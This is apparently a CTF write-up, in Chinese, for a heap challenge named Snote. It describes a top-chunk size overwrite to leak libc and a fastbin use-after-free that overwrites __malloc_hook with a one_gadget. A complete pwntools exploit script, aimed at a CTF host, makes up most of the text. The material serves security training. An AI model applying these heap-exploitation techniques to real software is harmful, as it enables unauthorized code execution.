Snote
题目
难度还行的堆题,四个选项
show dele 都只能使用一次, dele 有free后未清空指针 edit能溢出八个字节
思路
edit有八个字节的溢出,然后看在show dele次数都只有一次的情况下,在考虑的时候就当作没有来考虑
所以前面就是通过溢出修改top chunk的size,然后通过申请大的chunk来触发consolidate将原top chunk置入unsorted bin
这里就相当于不用那一次机会来在chunk中踩出main_arena+88的地址,之后再申请之后show就可以拿到libc的地址。
后面实际就比较简单了,申请个size 为0x70的chunk,利用uaf直接改fd指针到malloc_hook附近修改为one_gadget即可
这里用掉了唯一的free机会
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| #!/usr/bin/env python2 # -*- coding:utf-8 -*-
import sys from pwn import *
#context.log_level = 'debug' #context.terminal = ['gnome-terminal','-x','bash','-c']
if len(sys.argv) > 1: local = 0 else: local = 1
if local: sh = process('./pwn') elf = ELF('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: sh = remote('55fca716.gamectf.com','37009') elf = ELF('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,con): sh.sendlineafter("choice > ","1") sh.sendlineafter("Size > ",str(size)) sh.sendafter("Content > \n",con)
def show(): sh.sendlineafter("choice > ","2")
def dele(): sh.sendlineafter("choice > ","3")
def edit(size,con): sh.sendlineafter("choice > ","4") sh.sendlineafter("Size > ",str(size)) sh.sendafter("Content > \n",con)
sh.sendlineafter('name?\n','sirius') add(0x408,'0') edit(0x410,'0'*0x408+'\xf1\x0b\x00') add(0xf00,'1') add(0x18,'2'*8) #gdb.attach(sh) show() sh.recvuntil('2'*8)
libc.base = u64(sh.recv(8)) - libc.symbols['__malloc_hook'] +0x10 - 88 -0x600 print(hex(libc.base)) heap = u64(sh.recv(8)) -0x410# - 0x660 print(hex(heap))
malloc_hook = libc.base + libc.symbols['__malloc_hook'] one = libc.base + 0xf02a4 #----------------------------------------------
add(0x68,'last') dele() edit(0x68,p64(malloc_hook-0x23)) add(0x68,'a') #gdb.attach(sh) add(0x68,'a'*0x13+p64(one))
sh.sendlineafter("choice > ","1") #gdb.attach(sh) sh.interactive()
|